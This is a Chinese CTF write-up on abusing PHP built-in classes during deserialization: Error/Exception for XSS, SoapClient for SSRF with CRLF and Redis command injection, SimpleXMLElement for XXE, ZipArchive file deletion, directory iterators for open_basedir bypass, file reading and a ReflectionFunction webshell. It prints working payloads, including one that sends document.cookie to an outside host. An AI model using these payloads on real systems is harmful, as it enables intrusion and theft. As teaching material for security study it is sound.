CTF 中 PHP原生类的利用
最近红帽杯决赛遇到了一个文件上传的题目用到了PHP原生类的应用,可惜我题刷得少,解题所用到的两个原生类都没听说过,因此萌生出整理一下CTF题目中能够利用到的PHP原生类的想法,刚好已经有前人做了详细的工作,于是我就基本复现一遍再补充自己碰到的即可。
我们可以使用以下方法遍历一下PHP的内置类:
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state' // 可以根据题目环境将指定的方法添加进来, 来遍历存在指定方法的原生类
))) {
print $class . '::' . $method . "\n";
}
}
}
输出得到:
Exception::__wakeup
Exception::__toString
ErrorException::__wakeup
ErrorException::__toString
Error::__wakeup
Error::__toString
CompileError::__wakeup
CompileError::__toString
ParseError::__wakeup
ParseError::__toString
TypeError::__wakeup
TypeError::__toString
ArgumentCountError::__wakeup
ArgumentCountError::__toString
ArithmeticError::__wakeup
ArithmeticError::__toString
DivisionByZeroError::__wakeup
DivisionByZeroError::__toString
ClosedGeneratorException::__wakeup
ClosedGeneratorException::__toString
DateTime::__wakeup
......
其中常遇到的几个 PHP 原生类有:
- Error
- Exception
- SoapClient
- DirectoryIterator
- SimpleXMLElement
- SplFileObject
使用 Error/Exception 内置类进行 XSS
Error 内置类
- 适用于php7版本
- 在开启报错的情况下
Error类是php的一个内置类,用于自动自定义一个Error,在php7的环境下可能会造成一个xss漏洞,因为它内置有一个 __toString()
的方法,常用于PHP 反序列化中。如果有个POP链走到一半就走不通了,不如尝试利用这个来做一个xss,其实我看到的还是有好一些cms会选择直接使用 echo <Object>
的写法,当 PHP 对象被当作一个字符串输出或使用时候(如echo
的时候)会触发__toString
方法,这是一种挖洞的新思路。
example:
<?php
$a = unserialize($_GET['whoami']);
echo $a;
?>
(这里可以看到是一个反序列化函数,但是没有让我们进行反序列化的类啊,这就遇到了一个反序列化但没有POP链的情况,所以只能找到PHP内置类来进行反序列化)
POC:
<?php
$a = new Error("<script>alert('xss')</script>");
$b = serialize($a);
echo urlencode($b);
?>
// 输出:O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A29%3A%22%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A26%3A%22%2Fvar%2Fwww%2Fhtml%2Ftmp%2Ftest.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D
Exception 内置类
- 适用于php5、7版本
- 开启报错的情况下
example:
<?php
$a = unserialize($_GET['whoami']);
echo $a;
?>
POC:
<?php
$a = new Exception("<script>alert('xss')</script>");
$b = serialize($a);
echo urlencode($b);
?>
// 输出:O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A29%3A%22%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A26%3A%22%2Fvar%2Fwww%2Fhtml%2Ftmp%2Ftest.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D
[BJDCTF 2nd]xss之光
不知道为何BUU里面这道题没了,只好看着别人的说一次。
进入题目,首先通过git泄露拿到源码:
<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);
仅看到一个反序列化函数并没有给出需要反序列化的类,这就遇到了一个反序列化但没有POP链的情况,所以只能找到PHP内置类来进行反序列化。又发现有个echo,没得跑了,就是我们刚才演示的利用Error或Exception内置类进行XSS,但是查看一下题目的环境发现是PHP 5,所以我们要使用Exception类。
由于此题是xss,所以只要xss执行window.open()就能把flag带出来,所以POC如下:
<?php
$poc = new Exception("<script>window.open('http://de28dfb3-f224-48d4-b579-f1ea61189930.node3.buuoj.cn/?'+document.cookie);</script>");
echo urlencode(serialize($poc));
?>
// 输出O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A109%3A%22%3Cscript%3Ewindow.open%28%27http%3A%2F%2Fde28dfb3-f224-48d4-b579-f1ea61189930.node3.buuoj.cn%2F%3F%27%2Bdocument.cookie%29%3B%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D
执行后,得到flag就在 cookie 中。
使用 Error/Exception 内置类绕过哈希比较
Error 类
Error 是所有PHP内部错误类的基类,该类是在PHP 7.0.0 中开始引入的。
类摘要:
Error implements Throwable {
/* 属性 */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 方法 */
public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
final public getMessage ( ) : string
final public getPrevious ( ) : Throwable
final public getCode ( ) : mixed
final public getFile ( ) : string
final public getLine ( ) : int
final public getTrace ( ) : array
final public getTraceAsString ( ) : string
public __toString ( ) : string
final private __clone ( ) : void
}
类属性:
- message:错误消息内容
- code:错误代码
- file:抛出错误的文件名
- line:抛出错误在该文件中的行数
类方法:
Error::__construct
— 初始化 error 对象Error::getMessage
— 获取错误信息Error::getPrevious
— 返回先前的 ThrowableError::getCode
— 获取错误代码Error::getFile
— 获取错误发生时的文件Error::getLine
— 获取错误发生时的行号Error::getTrace
— 获取调用栈(stack trace)Error::getTraceAsString
— 获取字符串形式的调用栈(stack trace)Error::__toString
— error 的字符串表达Error::__clone
— 克隆 error
Exception 类
Exception 是所有异常的基类,该类是在PHP 5.0.0 中开始引入的。
类摘要:
Exception {
/* 属性 */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 方法 */
public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
final public getMessage ( ) : string
final public getPrevious ( ) : Throwable
final public getCode ( ) : mixed
final public getFile ( ) : string
final public getLine ( ) : int
final public getTrace ( ) : array
final public getTraceAsString ( ) : string
public __toString ( ) : string
final private __clone ( ) : void
}
类属性:
- message:异常消息内容
- code:异常代码
- file:抛出异常的文件名
- line:抛出异常在该文件中的行号
类方法:
Exception::__construct
— 异常构造函数Exception::getMessage
— 获取异常消息内容Exception::getPrevious
— 返回异常链中的前一个异常Exception::getCode
— 获取异常代码Exception::getFile
— 创建异常时的程序文件名称Exception::getLine
— 获取创建的异常所在文件中的行号Exception::getTrace
— 获取异常追踪信息Exception::getTraceAsString
— 获取字符串类型的异常追踪信息Exception::__toString
— 将异常对象转换为字符串Exception::__clone
— 异常克隆
我们可以看到,在Error和Exception这两个PHP原生类中内都有 __toString
方法,这个方法用于将异常或错误对象转换为字符串。
我们以Error为例,我们看看当触发他的 __toString
方法时会发生什么:
<?php
$a = new Error("payload",1);
echo $a;
输出:
Error: payload in /var/www/html/tmp/test.php:2
Stack trace:
#0 {main}
发现这将会以字符串的形式输出当前报错,包含当前的错误信息(”payload”)以及当前报错的行号(”2”),而传入 Error("payload",1)
中的错误代码“1”则没有输出出来。
在来看看下一个例子:
<?php
$a = new Error("payload",1);$b = new Error("payload",2);
echo $a;
echo "\r\n\r\n";
echo $b;
输出:
Error: payload in /var/www/html/tmp/test.php:2
Stack trace:
#0 {main}
Error: payload in /var/www/html/tmp/test.php:2
Stack trace:
#0 {main}
可见,$a
和 $b
这两个错误对象本身是不同的,但是 __toString
方法返回的结果是相同的。注意,这里之所以需要在同一行是因为 __toString
返回的数据包含当前行号。
Exception 类与 Error 的使用和结果完全一样,只不过 Exception
类适用于PHP 5和7,而 Error
只适用于 PHP 7。
Error和Exception类的这一点在绕过在PHP类中的哈希比较时很有用。
[2020 极客大挑战]Greatphp
使用 SoapClient 类进行 SSRF
SoapClient 类
SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。其采用HTTP作为底层通讯协议,XML作为数据传送的格式,仅限于http/https协议。SOAP消息基本上是从发送端到接收端的单向传输,但它们常常结合起来执行类似于请求 / 应答的模式。
如果想要使用SoapClient类需要在php.ini配置文件里面开启extension=php_soap.dll选项
类摘要:
SoapClient {
/* 方法 */
public __construct ( string|null $wsdl , array $options = [] )
public __call ( string $name , array $args ) : mixed
public __doRequest ( string $request , string $location , string $action , int $version , bool $oneWay = false ) : string|null
public __getCookies ( ) : array
public __getFunctions ( ) : array|null
public __getLastRequest ( ) : string|null
public __getLastRequestHeaders ( ) : string|null
public __getLastResponse ( ) : string|null
public __getLastResponseHeaders ( ) : string|null
public __getTypes ( ) : array|null
public __setCookie ( string $name , string|null $value = null ) : void
public __setLocation ( string $location = "" ) : string|null
public __setSoapHeaders ( SoapHeader|array|null $headers = null ) : bool
public __soapCall ( string $name , array $args , array|null $options = null , SoapHeader|array|null $inputHeaders = null , array &$outputHeaders = null ) : mixed
}
可以看到,该内置类有一个 __call
方法,当 __call
方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call
方法,使得 SoapClient 类可以被我们运用在 SSRF 中。SoapClient 这个类也算是目前被挖掘出来最好用的一个内置类。
该类的构造函数如下:
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
- 第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
- 第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。
使用 SoapClient 类进行 SSRF
知道上述两个参数的含义后,就很容易构造出SSRF的利用Payload了。我们可以设置第一个参数为null,然后第二个参数的location选项设置为target_url。
<?php
$a = new SoapClient(null,array('location'=>'http://192.168.91.153:2333/aaa', 'uri'=>'http://192.168.91.153:2333'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>
example:
首先在192.168.91.153:2333上起一个监听,然后再执行上述代码,就能够成功发送HTTP请求:
root@ubuntu18:~# nc -lvp 2333
Listening on [0.0.0.0] (family 0, port 2333)
Connection from 192.168.91.1 7856 received!
POST /aaa HTTP/1.1
Host: 192.168.91.153:2333
Connection: Keep-Alive
User-Agent: PHP-SOAP/7.4.3
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://192.168.91.153:2333#a"
Content-Length: 387
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://192.168.91.153:2333" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:a/></SOAP-ENV:Body></SOAP-ENV:Envelope>
但是,由于它仅限于HTTP/HTTPS协议,所以用处不是很大。而如果这里HTTP头部还存在CRLF漏洞的话,但我们则可以通过SSRF+CRLF,插入任意的HTTP头。
如下测试代码,我们在HTTP头中插入一个cookie:
<?php
$target = 'http://192.168.91.153:2333/';
$a = new SoapClient(null,array('location' => $target, 'user_agent' => "WHOAMI\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4", 'uri' => 'test'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>
执行代码后,如下图所示,成功在HTTP头中插入了一个我们自定义的cookie:
root@ubuntu18:~# nc -lvp 2333
Listening on [0.0.0.0] (family 0, port 2333)
Connection from 192.168.91.1 7858 received!
POST / HTTP/1.1
Host: 192.168.91.153:2333
Connection: Keep-Alive
User-Agent: WHOAMI
Cookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4 # 插入的cookie
Content-Type: text/xml; charset=utf-8
SOAPAction: "test#a"
Content-Length: 365
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="test" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:a/></SOAP-ENV:Body></SOAP-ENV:Envelope>
利用HTTP协议去攻击Redis:
<?php
$target = 'http://192.168.91.153:2333/';
$poc = "CONFIG SET dir /var/www/html";
$a = new SoapClient(null,array('location' => $target, 'uri' => 'hello^^'.$poc.'^^hello'));
$b = serialize($a);
$b = str_replace('^^',"\n\r",$b);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>
执行代码后,如下图所示,成功插入了Redis命令:
root@ubuntu18:~# nc -lvp 2333
Listening on [0.0.0.0] (family 0, port 2333)
Connection from 192.168.91.1 7860 received!
POST / HTTP/1.1
Host: 192.168.91.153:2333
Connection: Keep-Alive
User-Agent: PHP-SOAP/7.4.3
Content-Type: text/xml; charset=utf-8
SOAPAction: "hello
CONFIG SET dir /var/www/html # 这里就是Redis命令
hello#a"
Content-Length: 403
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="hello
CONFIG SET dir /var/www/html
hello" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:a/></SOAP-ENV:Body></SOAP-ENV:Envelope>
这样我们就可以利用HTTP协议去攻击Redis了。
对于如何发送POST的数据包,这里面还有一个坑,就是 Content-Type
的设置,因为我们要提交的是POST数据,所以 Content-Type
的值我们要设置为 application/x-www-form-urlencoded
,这里如何修改 Content-Type
的值呢?由于 Content-Type
在 User-Agent
的下面,所以我们可以通过 SoapClient
来设置 User-Agent
,将原来的 Content-Type
挤下去,从而再插入一个新的 Content-Type
。
<?php
$target = 'http://192.168.91.153:2333/';
$post_data = 'data=whoami';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
);
$a = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,'uri'=>'test'));
$b = serialize($a);
$b = str_replace('^^',"\n\r",$b);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>
执行代码后,成功发送POST数据:
root@ubuntu18:~# nc -lvp 2333
Listening on [0.0.0.0] (family 0, port 2333)
Connection from 192.168.91.1 7862 received!
POST / HTTP/1.1
Host: 192.168.91.153:2333
Connection: Keep-Alive
User-Agent: wupco
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93
Content-Length: 11
data=whoami
Content-Type: text/xml; charset=utf-8
SOAPAction: "test#a"
Content-Length: 365
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="test" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:a/></SOAP-ENV:Body></SOAP-ENV:Envelope>
bestphp’s revenge
使用 SimpleXMLElement 类进行 XXE
SimpleXMLElement 类
SimpleXMLElement 这个内置类用于解析 XML 文档中的元素。
官方文档中对于SimpleXMLElement 类的构造方法 SimpleXMLElement::__construct
的定义如下:
public SimpleXMLElement::__construct(
string $data,
int $options = 0,
bool $dataIsURL = false,
string $namespaceOrPrefix = "",
bool $isPrefix = false
)
其中值得注意的是$data
和$data_is_url
这个两个参数:
$data
:格式正确的XML字符串,或者XML文档的路径或URL(如果$data_is_url
为true)。
$data_is_url
:默认情况下$data_is_url
为false。使用true指定$data
的路径或URL到一个XML文件,而不是字符串数据。
可以看到通过设置第三个参数 $data_is_url
为 true
,我们可以实现远程xml文件的载入。第二个参数的常量值我们设置为2
即可。第一个参数 data 就是我们自己设置的payload的url地址,即用于引入的外部实体的url。
这样的话,当我们可以控制目标调用的类的时候,便可以通过 SimpleXMLElement 这个内置类来构造 XXE。
example:
<?php
$xml = <<<EOF
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE ANY [
<!ENTITY % remote SYSTEM "http://t6n089.ceye.io">%remote;]>
]>
<x>&xee</x>
EOF;
$xml_class = new SimpleXMLElement($xml, LIBXML_NOENT);
var_dump($xml_class);
?>
实现了引用外部实体。同理我们可以让上面代码中的$xml
中的内容放到自己的VPS中,然后在新建类对象的时候第一个参数写的是URL地址去实现XML文件的远程载入,这样也能实现XXE。
[SUCTF 2018]Homework
使用 ZipArchive 类来删除文件
ZipArchive 类
PHP ZipArchive类是PHP的一个原生类,它是在PHP 5.20之后引入的。ZipArchive类可以对文件进行压缩与解压缩处理。
下面列举几个常见的类方法:
ZipArchive::addEmptyDir
:添加一个新的文件目录ZipArchive::addFile
:将文件添加到指定zip压缩包中ZipArchive::addFromString
:添加新的文件同时将内容添加进去ZipArchive::close
:关闭ziparchiveZipArchive::extractTo
:将压缩包解压ZipArchive::open
:打开一个zip压缩包ZipArchive::deleteIndex
:删除压缩包中的某一个文件,如:deleteIndex(0)
代表删除第一个文件ZipArchive::deleteName
:删除压缩包中的某一个文件名称,同时也将文件删除- ……
我们来重点看看 ZipArchive::open
方法:
ZipArchive::open ( string $filename [, int $flags ] ) : mixed
该方法用来打开一个新的或现有的zip存档以进行读取,写入或修改。
$filename
:要打开的ZIP存档的文件名。$flags
:用于打开档案的模式。有以下几种模式:ZipArchive::OVERWRITE
:总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖或删除。ZipArchive::CREATE
:如果不存在则创建一个zip压缩包。ZipArchive::RDONLY
:只读模式打开压缩包。ZipArchive::EXCL
:如果压缩包已经存在,则出错。ZipArchive::CHECKCONS
:对压缩包执行额外的一致性检查,如果失败则显示错误。
注意,如果设置flags参数的值为 ZipArchive::OVERWRITE
的话,可以把指定文件删除。这里我们跟进方法可以看到const OVERWRITE = 8
,也就是将OVERWRITE定义为了常量8,我们在调用时也可以直接将$flags
赋值为8。
也就是说我们可以利用ZipArchive原生类调用open方法删除目标主机上的文件。
example:
$a = new ZipArchive();
$a->open('1.txt',ZipArchive::OVERWRITE);
// ZipArchive::OVERWRITE: 总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖
// 因为没有保存,所以效果就是删除了1.txt
[NepCTF 2021]梦里花开牡丹亭
遍历目录类
DirectoryIterator 类
DirectoryIterator 类提供了一个用于查看文件系统目录内容的简单接口。该类的构造方法将会创建一个指定目录的迭代器。
类摘要:
DirectoryIterator extends SplFileInfo implements SeekableIterator {
/* 方法 */
public __construct ( string $path )
public current ( ) : DirectoryIterator
public getATime ( ) : int
public getBasename ( string $suffix = ? ) : string
public getCTime ( ) : int
public getExtension ( ) : string
public getFilename ( ) : string
public getGroup ( ) : int
public getInode ( ) : int
public getMTime ( ) : int
public getOwner ( ) : int
public getPath ( ) : string
public getPathname ( ) : string
public getPerms ( ) : int
public getSize ( ) : int
public getType ( ) : string
public isDir ( ) : bool
public isDot ( ) : bool
public isExecutable ( ) : bool
public isFile ( ) : bool
public isLink ( ) : bool
public isReadable ( ) : bool
public isWritable ( ) : bool
public key ( ) : string
public next ( ) : void
public rewind ( ) : void
public seek ( int $position ) : void
public __toString ( ) : string // 以字符串形式获取文件名
public valid ( ) : bool
}
利用 DirectoryIterator 类遍历指定目录里的文件:
如果我们这样:
<?php
$dir=new DirectoryIterator("/");
echo $dir;
会创建一个指定目录的迭代器。当执行到echo
函数时,会触发DirectoryIterator类中的 __toString()
方法,输出指定目录里面经过排序之后的第一个文件名:
也可以配合glob://协议使用模式匹配来寻找我们想要的文件路径:
glob:// 协议用来查找匹配的文件路径模式
<?php
$dir=new DirectoryIterator("glob:///*flag*");
echo $dir;
如果想输出全部的文件名我们还需要对$dir对象进行遍历:
<?php
$dir=new DirectoryIterator("/");
foreach($dir as $f){
echo($f.'<br>');
}
FilesystemIterator 类
FilesystemIterator 类与 DirectoryIterator 类相同,提供了一个用于查看文件系统目录内容的简单接口。该类的构造方法将会创建一个指定目录的迭代器。
该类的使用方法与DirectoryIterator 类也是基本相同的:
<?php
$dir=new FilesystemIterator("/");
echo $dir;
<?php
$dir=new FilesystemIterator("glob:///*flag*");
echo $dir;
<?php
$dir=new FilesystemIterator("/");
foreach($dir as $f){
echo($f.'<br>');
}
GlobIterator 类
与前两个类的作用相似,GlobIterator 类也可以遍历一个文件目录,使用方法与前两个类也基本相似。但与上面略不同的是其行为类似于 glob(),可以通过模式匹配来寻找文件路径。
类摘要:
GlobIterator extends FilesystemIterator implements SeekableIterator , Countable {
/* 方法 */
public __construct ( string $pattern , int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO )
public count ( ) : int
/* 继承的方法 */
public FilesystemIterator::__construct ( string $path , int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO | FilesystemIterator::SKIP_DOTS )
public FilesystemIterator::current ( ) : mixed
public FilesystemIterator::getFlags ( ) : int
public FilesystemIterator::key ( ) : string
public FilesystemIterator::next ( ) : void
public FilesystemIterator::rewind ( ) : void
public FilesystemIterator::setFlags ( int $flags = ? ) : void
}
我们知道,向下面这样在单纯的使用 DirectoryIterator 类和 FilesystemIterator 类且没有配合glob://协议进行匹配的时候:
<?php
$dir=new DirectoryIterator("/");
echo $dir;
<?php
$dir=new FilesystemIterator("/");
echo $dir;
其构造函数创建的是一个指定目录的迭代器,当我们使用echo函数输出的时候,会触发这两个类中的 __toString()
方法,输出指定目录里面特定排序之后的第一个文件名。也就是说如果我们不循环遍历的话是不能看到指定目录里的全部文件的,而 GlobIterator 类便可以帮我们在一定程度上解决了这个问题。由于 GlobIterator 类支持直接通过模式匹配来寻找文件路径,也就是说假设我们知道一个文件名的一部分,我们可以通过该类的模式匹配找到其完整的文件名。例如,我们在CTF中知道flag在根目录,但是我们不知道flag文件的完整文件名,我们就可以通过类似 GlobIterator(/*flag*)
:
使用可遍历目录类绕过 open_basedir
DirectoryIterator类或者FilesystemIterator类与glob://协议结合将无视open_basedir
对目录的限制,可以用来列举出指定目录下的文件。
example:
<?php
$dir = $_GET['whoami'];
$a = new DirectoryIterator($dir);
foreach($a as $f){
echo($f->__toString().'<br>');// 不加__toString()也可,因为echo可以自动调用
}
?>
# payload一句话的形式:
$a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}
我们输入 /?whoami=glob:///*
即可列出根目录下的所有文件:
使用FilesystemIterator类同理。
而使用 GlobIterator 类支持直接通过模式匹配来寻找文件路径,所以我们就不用在配合glob://协议了。
example:
<?php
$dir = $_GET['whoami'];
$a = new GlobIterator($dir);
foreach($a as $f){
echo($f->__toString().'<br>');// 不加__toString()也可,因为echo可以自动调用
}
?>
# payload一句话的形式:
$a = new FilesystemIterator("/*");foreach($a as $f){echo($f->__toString().'<br>');}
可读取文件类
SplFileObject 类
SplFileObject 类为单个文件的信息提供了一个高级的面向对象的接口,可以用于对文件内容的遍历、查找、操作等。详情请参考:https://www.php.net/manual/zh/class.splfileobject.php
该类的构造方法可以构造一个新的文件对象用于后续的读取。
我们可以像类似下面这样去读取一个文件的一行:
<?php
$context = new SplFileObject('/etc/passwd');
echo $context;
但是这样也只能读取一行,要想全部读取的话还需要对文件中的每一行内容进行遍历:
<?php
$context = new SplFileObject('/etc/passwd');
foreach($context as $f){
echo($f);
}
[MAR DASCTF 明御攻防赛 2021]ez_serialize
反射类Reflection
它可以在 PHP 运行状态中,扩展分析 PHP 程序,导出或提取出关于类、方法、属性、参数等的详细信息,包括注释。这种动态获取的信息以及动态调用对象的方法的功能称为反射API。
使用 ReflectionMethod 类获取类方法的相关信息
ReflectionMethod 类报告了一个方法的有关信息。ReflectionMethod 类中有很多继承方法可以使用,比如这个 getDocComment()
方法,我们可以用它来获取类中各个函数注释内容
example:
<?php
class FlagIsHere
{
/**
* 这是测试方法
* flag{success}
* @return int
*/
protected function GiveMeFlag()
{
return 9999;
}
}
$ref = new ReflectionMethod('FlagIsHere','GiveMeFlag');
var_dump($ref->getDocComment());
输出:
使用ReflectionClass类读取类的属性和方法名
ReflectionClass 类报告了一个类的有关信息。其中初始化方法能够返回类的实例。
public ReflectionClass::__construct(mixed $argument)
$argument
:既可以是包含类名的字符串(string)也可以是对象(object)。
用法如下
example:
把类里面属性和方法的名字都能够显示出来。
使用ReflectionFunction类写Webshell
ReflectionFunction 类报告了一个函数的有关信息。其中invokeArgs()
方法能够用来写Webshell。
public ReflectionFunction::invokeArgs(array $args): mixed
$args
:传递给函数的参数是一个数组,像call_user_func_array()
的工作方式。
example:
<?php
function title($title, $name)
{
return sprintf("%s. %s\r\n", $title, $name);
}
$function = new ReflectionFunction('title');
echo $function->invokeArgs(array('Dr', 'Phil'));
?>
我们可以使用这个方法来写Webshell:
<?php
$func = new ReflectionFunction($_GET[m]);
echo $func->invokeArgs(array($_GET[c]));
?>
2021 红帽杯-决赛 upload